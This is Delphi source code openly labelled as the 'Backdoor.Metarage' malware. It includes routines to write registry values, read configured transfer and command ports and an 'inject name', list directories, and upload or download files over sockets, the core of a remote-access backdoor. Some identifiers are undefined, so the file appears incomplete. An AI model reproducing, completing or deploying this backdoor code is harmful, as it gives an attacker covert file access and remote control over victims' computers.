unit1.pas

Backdoor.Metarage,for delphi..

Procedure SetRegValue(kRoot:Hkey; Path, Value, Str:String);
Var
 Key : Hkey;
 Siz : Cardinal;
Begin
 RegOpenKey(kRoot, pChar(Path), Key);
 Siz := 2048;
 RegSetValueEx( Key, pChar(Value), 0, REG_SZ, @Str[1], Siz);
 RegCloseKey(Key);
End;

function IntToStr(X: integer): string;
var
 S: string;
begin
 Str(X, S);
 Result := S;
end;

function StrToInt(S: string): integer;
var
 V, Code: integer;
begin
 Val(S, V, Code);
 Result := V;
end;

function Trim(const S: string): string;
var
 I, L: Integer;
begin
 L := Length(S);
 I := 1;
 while (I <= L) and (S[I] <= ' ') do Inc(I);
 if I > L then Result := '' else
  begin
   while S[L] <= ' ' do Dec(L);
   Result := Copy(S, I, L - I + 1);
  end;
end;

Function GetSettings(I:Integer):String;
Begin
 Case I Of
  0 : {transfer-port} Result := Copy(eTPort, pos('=',eTPort)+1, Length(eTPort));
  1 : {commands-port} Result := Copy(eCPort, pos('=',eCPort)+1, Length(eCPort));
  2 : {filename     } Result := Copy(eFName, pos('=',eFName)+1, Length(eFName));
  3 : {inject name  } Result := Copy(eIName, pos('=',eIName)+1, Length(eIName));
  4 : {} ;
  5 : {} ;
  6 : {} ;
  7 : {} ;
  8 : {} ;
  9 : {} ;
  10: {} ;
 End;
 Result := Trim(Result);
End;

Procedure SaveFile(Str:String;fName:String);
Var
 F      :TextFile;
Begin
 AssignFile(F, fName);
 ReWrite(F);
 Write(F, Str);
 CloseFile(F);
End;

function RefreshList(strPath:string):string;
var
   c,r:string;
   fHandle,j:Longint;
   WFD:_WIN32_FIND_DATAA;

begin
   c:=#13#10;

   fHandle:=FindFirstFile(PChar(strPath + '*.*'),WFD);
   if fHandle <> -1 then
   begin
      r:=strPath + c;
      repeat
      begin
         if Ord(WFD.cFileName[0]) <> 46 then
         begin
            if (WFD.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY then
               Result := Result + '\' + string(WFD.cFileName) + C
            else
               for j:=0 to 7 do
                  if Bool(WFD.dwFileAttributes and FileFlags[j]) then
                  begin
                     Result := Result + string(WFD.cFileName) + C;
                     Break;
                  end;
         end;
      end;
      until FindNextFile(fHandle,WFD) = false;
      Windows.FindClose(fHandle);
   end
   else
      r:=strPath;
end;

Function UpTime:String;
Var
 Tick : Cardinal;
 Seconeds,
 Minutes,
 Hours,
 Days,
 Weeks : integer;
Begin
 Tick := GetTickCount;
 Seconeds := Tick div 1000 mod 60;
 Minutes := Tick div 1000 div 60 mod 60;
 Hours := Tick div 1000 div 60 div 60 mod 24;
 Days := Tick div 1000 div 60 div 60 div 24 mod 7;
 Weeks := Tick div 1000 div 60 div 60 div 24 div 7 mod 52;
 Result := IntToStr(Weeks)+'w'+IntToStr(Days)+'d'+IntToStr(Hours)+'h'+
           IntToStr(Minutes)+'m'+IntToStr(Seconeds)+'s';
End;

Function SysDir:String;
Var B:Array[0..255]Of Char;
Begin
 GetSystemDirectory(B, 255);
 Result := String(B) + '\';
End;

Function WinDir:String;
Var B:Array[0..255]Of Char;
Begin
 GetWindowsDirectory(B, 255);
 Result := String(B) + '\';
End;
//*   Receive the length of buffer   *//
Function ReceiveLength(Sock1: TSocket): Integer;
Begin
  Result := ReceiveBuffer(Pointer(NIL)^, -1, Sock1);
End;

//*   Receive the buffer from choosen socket   *//
Function ReceiveBuffer(var Buffer; BufferSize: integer; Sock1: TSocket): Integer;
Begin
  if BufferSize = -1 then
  begin
    if ioctlsocket(Sock1, FIONREAD, Longint(Result)) = SOCKET_ERROR then
    begin
      Result := SOCKET_ERROR;
      CloseSocket(Sock1);
    end;
  end
  else
  begin
     Result := recv(Sock1, Buffer, BufferSize, 0);
     if Result = 0 then
     begin
       CloseSocket(Sock1);
     end;
     if Result = SOCKET_ERROR then
     begin
       Result := WSAGetLastError;
       if Result = WSAEWOULDBLOCK then
       begin
         Result := 0;
       end
       else
       begin
         CloseSocket(Sock1);
       end;
     end;
  end;
end;

//*   Receive string   *//
function ReceiveString(Sock1: TSocket): string;
begin
  SetLength(Result, ReceiveBuffer(pointer(nil)^, -1, Sock1));
  SetLength(Result, ReceiveBuffer(pointer(Result)^, Length(Result), Sock1));
end;

//*   Idle some seconds. could be fun   *//
procedure Idle(Seconds: integer; Sock1: TSocket);
var
  FDset: TFDset;
  TimeVal: TTimeVal;
begin
  if Seconds = 0 then
  begin
    FD_ZERO(FDSet);
    FD_SET(Sock1, FDSet);
    select(0, @FDset, nil, nil, nil);
  end
  else
  begin
    TimeVal.tv_sec := Seconds;
    TimeVal.tv_usec := 0;
    FD_ZERO(FDSet);
    FD_SET(Sock1, FDSet);
    select(0, @FDset, nil, nil, @TimeVal);
  end;
end;

//*   Receive file from to socket   *//
procedure ReceiveFile(FileName: string; Sock1: TSocket);
var
  TimeOut       :Integer;
  BinaryBuffer: pchar;
  BinaryFile: THandle;
  BinaryFileSize, BytesReceived, BytesWritten, BytesDone: dword;
begin
  BytesDone := 0;
  BinaryFile := CreateFile(pchar(FileName), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  Idle(0, Sock1);
  ReceiveBuffer(BinaryFileSize, sizeof(BinaryFileSize), Sock1);
  TimeOut := 0;
  while BytesDone < BinaryFileSize do
  begin
    If Cancel_Transfer Then Begin
     Cancel_Transfer := False;
     Exit;
    End;
    If TimeOut >= 10000 Then
     Exit
    Else
     Inc(TimeOut, 1);
    Sleep(1);
    BytesReceived := ReceiveLength(Sock1);
    if BytesReceived > 0 then
    begin
      TimeOut := 0;
      GetMem(BinaryBuffer, BytesReceived);
      try
        ReceiveBuffer(BinaryBuffer^, BytesReceived, Sock1);
        WriteFile(BinaryFile, BinaryBuffer^, BytesReceived, BytesWritten, nil);
        Inc(BytesDone, BytesReceived);
      finally
        FreeMem(BinaryBuffer);
      end;
    end;
  end;
  CloseHandle(BinaryFile);
end;

//*   Send file from choosen Socket   *//
function SendFile(FileName: string; Sock1: TSocket):boolean;
var
  TimeOut       :Integer;
  BinaryFile: THandle;
  BinaryBuffer: pchar;
  BinaryFileSize, BytesRead: dword;
begin
  result := false;
  BinaryFile := CreateFile(pchar(FileName), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  BinaryFileSize := GetFileSize(BinaryFile, nil);
  SendBuffer(BinaryFileSize, sizeof(BinaryFileSize), Sock1);
  GetMem(BinaryBuffer, 2048);
  try
    repeat
      TimeOut := 0;
      Sleep(1);
      ReadFile(BinaryFile, BinaryBuffer^, 2048, BytesRead, nil);
      repeat
        If Cancel_Transfer Then Begin
         Cancel_Transfer := False;
         Exit;
        End;
        If TimeOut >= 10000 Then
         Exit
        Else
         Inc(TimeOut, 1);
        Sleep(1);
      until SendBuffer(BinaryBuffer^, BytesRead, Sock1) <> -1;
    until BytesRead < 2048;
  finally
    FreeMem(BinaryBuffer);
  end;
  CloseHandle(BinaryFile);
  Result := True;
end;

//*   Send buffer from choosen socket   *//
function SendBuffer(var Buffer; BufferSize: integer; Sock1: TSocket): integer;
var
  ErrorCode: integer;
begin
  Result := send(Sock1, Buffer, BufferSize, 0);
  if Result = SOCKET_ERROR then
  begin
    ErrorCode := WSAGetLastError;
    if (ErrorCode = WSAEWOULDBLOCK) then
    begin
      Result := -1;
    end
    else
    begin
      CloseSocket(Sock1);
    end;
  end;
end;

//*   Send string from choosen socket  *//
function SendString(const Buffer: string; Sock1: TSocket): integer;
begin
  Result := SendBuffer(pointer(Buffer)^, Length(Buffer), Sock1);
end;

end.